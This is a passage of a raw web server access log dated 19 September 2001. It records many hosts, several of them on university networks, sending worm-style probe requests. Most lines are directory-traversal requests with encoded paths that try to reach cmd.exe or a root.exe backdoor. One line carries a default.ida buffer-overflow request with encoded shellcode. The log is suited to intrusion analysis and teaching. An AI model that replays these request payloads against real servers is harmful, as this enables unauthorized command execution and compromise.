  11700. 20010919 17:54:42: jaegerprivateequity.com [128.242.192.134] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11701. 20010919 17:54:42: jaegerprivateequity.com [128.242.192.134] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11702. 20010919 17:54:43: jaegerprivateequity.com [128.242.192.134] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11703. 20010919 17:54:43:  [128.248.199.43] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11704. 20010919 17:57:58:  [128.248.199.43] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11705. 20010919 17:58:16:  [128.248.199.43] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11706. 20010919 17:58:35:  [128.248.199.43] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11707. 20010919 17:58:53:  [128.248.199.43] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11708. 20010919 17:59:11:  [128.248.199.43] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11709. 20010919 17:59:30:  [128.248.199.43] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11710. 20010919 17:59:48:  [128.248.199.43] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11711. 20010919 18:00:06:  [128.248.199.43] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11712. 20010919 18:00:25:  [128.248.199.43] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11713. 20010919 18:00:43:  [128.248.199.43] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11714. 20010919 18:01:01:  [128.248.199.43] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11715. 20010919 18:01:19: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11716. 20010919 18:01:19:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11717. 20010919 18:01:38: BOS-ADMIN108.BU.EDU [128.197.235.108] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11718. 20010919 18:01:41:  [128.248.199.43] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11719. 20010919 18:01:59: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11720. 20010919 18:01:59:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11721. 20010919 18:02:17: BOS-ADMIN108.BU.EDU [128.197.235.108] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11722. 20010919 18:02:17:  [128.248.199.43] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11723. 20010919 18:02:36: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11724. 20010919 18:02:36: BOS-ADMIN108.BU.EDU [128.197.235.108] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11725. 20010919 18:02:36:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11726. 20010919 18:02:54: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11727. 20010919 18:02:54:  [128.248.199.43] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11728. 20010919 18:03:12: BOS-ADMIN108.BU.EDU [128.197.235.108] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11729. 20010919 18:03:12:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11730. 20010919 18:03:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11731. 20010919 18:03:30:  [128.248.199.43] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11732. 20010919 18:03:49: BOS-ADMIN108.BU.EDU [128.197.235.108] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11733. 20010919 18:03:49:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11734. 20010919 18:04:07: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11735. 20010919 18:04:07: ucsf-18-151.ucsf.edu [128.218.18.151] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11736. 20010919 18:04:07: BOS-ADMIN108.BU.EDU [128.197.235.108] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11737. 20010919 18:04:07:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11738. 20010919 18:04:25: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11739. 20010919 18:04:25: BOS-ADMIN108.BU.EDU [128.197.235.108] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11740. 20010919 18:04:25: ucsf-18-151.ucsf.edu [128.218.18.151] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11741. 20010919 18:04:25:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11742. 20010919 18:04:45: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11743. 20010919 18:04:45: BOS-ADMIN108.BU.EDU [128.197.235.108] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11744. 20010919 18:04:45: ucsf-18-151.ucsf.edu [128.218.18.151] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11745. 20010919 18:04:45:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11746. 20010919 18:05:03: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11747. 20010919 18:05:03: BOS-ADMIN108.BU.EDU [128.197.235.108] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11748. 20010919 18:05:03: ucsf-18-151.ucsf.edu [128.218.18.151] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11749. 20010919 18:05:03:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11750. 20010919 18:05:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11751. 20010919 18:05:21: BOS-ADMIN108.BU.EDU [128.197.235.108] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11752. 20010919 18:05:21: ucsf-18-151.ucsf.edu [128.218.18.151] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11753. 20010919 18:05:21:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11754. 20010919 18:05:39: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11755. 20010919 18:05:39: BOS-ADMIN108.BU.EDU [128.197.235.108] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11756. 20010919 18:05:39: ucsf-18-151.ucsf.edu [128.218.18.151] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11757. 20010919 18:05:40:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11758. 20010919 18:05:58: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11759. 20010919 18:05:58: BOS-ADMIN108.BU.EDU [128.197.235.108] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11760. 20010919 18:05:58: ucsf-18-151.ucsf.edu [128.218.18.151] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11761. 20010919 18:05:58:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11762. 20010919 18:06:17: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11763. 20010919 18:06:17: BOS-ADMIN108.BU.EDU [128.197.235.108] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11764. 20010919 18:06:17: ucsf-18-151.ucsf.edu [128.218.18.151] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11765. 20010919 18:06:17:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11766. 20010919 18:06:35: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11767. 20010919 18:06:35: BOS-ADMIN108.BU.EDU [128.197.235.108] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11768. 20010919 18:06:35: ucsf-18-151.ucsf.edu [128.218.18.151] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11769. 20010919 18:06:35:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11770. 20010919 18:06:54: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11771. 20010919 18:06:54: BOS-ADMIN108.BU.EDU [128.197.235.108] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11772. 20010919 18:06:54: ucsf-18-151.ucsf.edu [128.218.18.151] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11773. 20010919 18:06:54:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11774. 20010919 18:07:12:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11775. 20010919 18:07:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11776. 20010919 18:07:30: BOS-ADMIN108.BU.EDU [128.197.235.108] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11777. 20010919 18:07:30: ucsf-18-151.ucsf.edu [128.218.18.151] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11778. 20010919 18:07:30:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11779. 20010919 18:07:48:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11780. 20010919 18:08:07: ucsf-18-151.ucsf.edu [128.218.18.151] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11781. 20010919 18:08:07:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11782. 20010919 18:08:25: ucsf-18-151.ucsf.edu [128.218.18.151] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11783. 20010919 18:08:25:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11784. 20010919 18:08:43: ucsf-18-151.ucsf.edu [128.218.18.151] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11785. 20010919 18:08:43:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11786. 20010919 18:09:01: ucsf-18-151.ucsf.edu [128.218.18.151] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11787. 20010919 18:09:01:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11788. 20010919 18:09:19: ucsf-18-151.ucsf.edu [128.218.18.151] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11789. 20010919 18:09:19:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11790. 20010919 18:09:38:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11791. 20010919 18:09:56:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11792. 20010919 18:10:14:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11793. 20010919 18:10:32:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11794. 20010919 18:10:50:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11795. 20010919 18:11:09:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11796. 20010919 18:11:27:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11797. 20010919 18:11:45:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11798. 20010919 18:12:03:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11799. 20010919 18:12:21:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11800. 20010919 18:20:03:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11801. 20010919 18:20:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11802. 20010919 18:20:22:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11803. 20010919 18:20:40: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11804. 20010919 18:20:40:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11805. 20010919 18:20:58: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11806. 20010919 18:20:58:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11807. 20010919 18:21:16: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11808. 20010919 18:21:16:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11809. 20010919 18:21:34: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11810. 20010919 18:21:34:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11811. 20010919 18:21:53: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11812. 20010919 18:21:53:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11813. 20010919 18:22:11: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11814. 20010919 18:22:11:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11815. 20010919 18:22:29: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11816. 20010919 18:22:29:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11817. 20010919 18:22:47: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11818. 20010919 18:22:47:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11819. 20010919 18:23:06: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11820. 20010919 18:23:06:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11821. 20010919 18:23:24: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11822. 20010919 18:23:24:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11823. 20010919 18:23:42: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11824. 20010919 18:23:42:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11825. 20010919 18:24:00: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11826. 20010919 18:24:00:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11827. 20010919 18:24:18: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11828. 20010919 18:24:18:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11829. 20010919 18:24:37: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11830. 20010919 18:24:37: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11831. 20010919 18:24:40:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11832. 20010919 18:25:41:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11833. 20010919 18:25:59:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11834. 20010919 18:26:18:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11835. 20010919 18:26:36:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11836. 20010919 18:26:54:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11837. 20010919 18:27:12:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11838. 20010919 18:27:30:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11839. 20010919 18:27:49:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11840. 20010919 18:28:07:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11841. 20010919 18:28:25:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11842. 20010919 18:28:43:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11843. 20010919 18:29:01:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11844. 20010919 18:29:19:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11845. 20010919 18:29:38:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11846. 20010919 18:29:56:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11847. 20010919 18:30:14: bus84-017.gsb.columbia.edu [128.59.84.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  11848. 20010919 18:30:14: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11849. 20010919 18:37:58: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11850. 20010919 18:37:58: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11851. 20010919 18:37:58: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11852. 20010919 18:37:58: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11853. 20010919 18:37:58: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11854. 20010919 18:37:58: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11855. 20010919 18:37:58: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11856. 20010919 18:37:58: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11857. 20010919 18:37:58: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11858. 20010919 18:37:58: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11859. 20010919 18:37:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11860. 20010919 18:37:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11861. 20010919 18:38:00: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11862. 20010919 18:38:00: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11863. 20010919 18:38:00: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11864. 20010919 18:38:00:  [128.164.25.217] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11865. 20010919 18:39:43:  [128.164.25.217] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11866. 20010919 18:40:01:  [128.164.25.217] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11867. 20010919 18:40:19:  [128.164.25.217] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11868. 20010919 18:40:38:  [128.164.25.217] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11869. 20010919 18:40:56:  [128.164.25.217] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11870. 20010919 18:41:14:  [128.164.25.217] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11871. 20010919 18:41:32:  [128.164.25.217] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11872. 20010919 18:41:51:  [128.164.25.217] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11873. 20010919 18:42:09:  [128.164.25.217] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11874. 20010919 18:42:27:  [128.164.25.217] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11875. 20010919 18:42:46:  [128.164.25.217] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11876. 20010919 18:43:04:  [128.164.25.217] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11877. 20010919 18:43:25:  [128.164.25.217] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11878. 20010919 18:43:44:  [128.164.25.217] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11879. 20010919 18:44:02:  [128.164.25.217] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11880. 20010919 18:44:20: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11881. 20010919 18:47:34: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11882. 20010919 18:47:35: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11883. 20010919 18:47:35: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11884. 20010919 18:47:35: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11885. 20010919 18:47:36: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11886. 20010919 18:47:36: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11887. 20010919 18:47:36: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11888. 20010919 18:47:36: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11889. 20010919 18:47:36: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11890. 20010919 18:47:36: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
